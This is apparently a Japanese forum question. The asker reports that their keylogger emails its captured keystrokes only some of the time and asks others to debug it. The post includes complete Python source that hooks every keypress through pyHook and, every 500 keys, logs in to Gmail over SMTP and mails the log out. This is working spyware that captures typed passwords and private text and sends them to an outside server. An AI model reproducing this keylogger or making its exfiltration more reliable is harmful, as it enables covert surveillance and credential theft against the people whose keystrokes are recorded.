500 キーが押されるたびに電子メールを送信する単純なキーロガーを作成しました。そしてその働き。しかし、信頼できるものではありません。メールが送信されることもありますが、送信されないこともあります。たとえば、キーを 1500 回押すと、500 個のキーがログに記録された 3 つのメールになるはずです。しかし、私は 3 つの電子メール、2 つ、1 つ、またはゼロを受け取ることができます...何が失敗したかに応じて... このコードを見て、その理由を教えていただけますか?
import smtplib
import pyHook
import pythoncom
class Keylogger:
def __init__(self):
self.keylog = ''
def OnKeyboardEvent(self, event):
self.keylog += str(event.Key)
if len(self.keylog) >= 500: # Check size of the keystrokes captured
# MAIL STUFF
self.send_email('smtp.gmail.com', 587, 'your@email.com', 'yourpass', '%Keylogger Dump%', self.keylog)
self.keylog = '' # Reset keylog to capture new keystrokes
return True
def send_email(self, server, port, email, password, subject, body):
session = smtplib.SMTP(server, port)
session.ehlo()
session.starttls()
session.ehlo()
session.login(email, password)
headers = [
"From: " + email,
"Subject: " + subject,
"To: " + email,
"MIME-Version: 1.0",
"Content-Type: text/html"
]
headers = "\r\n".join(headers)
session.sendmail(email, email, headers + "\r\n\r\n" + body)
session.close()
if __name__ == '__main__':
# Entry Point
hook_manager = pyHook.HookManager() # Create a new hook manager
hook_manager.KeyDown = Keylogger().OnKeyboardEvent # Assign the keydown event to our custom method
hook_manager.HookKeyboard() # Hook the keyboard events
pythoncom.PumpMessages() # Run forever